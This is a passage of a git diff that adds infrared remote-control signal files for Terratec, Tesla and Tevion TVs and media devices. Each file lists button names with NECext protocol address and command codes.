00 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 17 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 18 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 19 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 40 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 41 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 42 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 43 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 44 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 45 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 46 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 47 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 48 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 49 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 4A 00 00 00 +# +name: pic +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 4B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 4C 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 4D 00 00 00 +# +name: fr +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 4E 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 4F 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 54 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 58 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir b/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir new file mode 100644 index 000000000..465c5466e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 09 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 0A 00 00 00 +# +name: Av +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 0C 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 0E 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 0F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 11 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 14 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 15 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 17 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 17 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 18 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 19 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 1C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 1F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 48 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 4C 00 00 00 +# +name: Fback +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 54 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 58 00 00 00 +# +name: Ffor +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir new file mode 100644 index 000000000..2449447fb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: Speed- +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: Speed_Normal +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 61 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: Speed+ +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 70 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir new file mode 100644 index 000000000..3f2ef2758 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: +/-5dB +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: CENTER_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: CENTER_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: SURROUND_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: SURROUND_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir new file mode 100644 index 000000000..eb4806323 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: no_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: no_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: no_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: no_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: no_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: no_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: no_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: no_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: no_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: no_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: pp +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: prog_dn +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 21 00 00 00 +# +name: plessp +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 22 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 23 00 00 00 +# +name: txt_hold +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 29 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: screen_size +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2B 00 00 00 +# +name: pc_in +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2C 00 00 00 +# +name: txt_hide +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2D 00 00 00 +# +name: inner_screen +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 30 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3C 00 00 00 +# +name: tv_dtv +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir b/assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir new file mode 100644 index 000000000..d809524f2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0A 00 00 00 +# +name: tv/txt +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0B 00 00 00 +# +name: tv/av +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0C 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0F 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 10 00 00 00 +# +name: num +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 11 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 11 00 00 00 +# +name: exp +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 14 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 17 00 00 00 +# +name: norm +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 18 00 00 00 +# +name: hold +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 18 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 19 00 00 00 +# +name: mix +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1A 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1E 00 00 00 +# +name: cyan +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir new file mode 100644 index 000000000..46ed7e4f1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: / +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: hod +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: hore +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: hore +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: dolu +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: dolu +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: KEY_X +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir new file mode 100644 index 000000000..0e81c76e2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: AB +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: VTMix +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 29 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 30 00 00 00 +# +name: Break +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 30 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: VTOff +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: VTStop +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: VTOn +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4A 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir new file mode 100644 index 000000000..6cebed88e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 01 00 00 00 +# +name: ent +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 03 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 03 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 07 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 09 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 0A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 0B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 0C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 0D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 11 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 15 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 18 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 1C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 1D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 40 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 41 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 42 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 43 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 44 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 45 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 46 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: 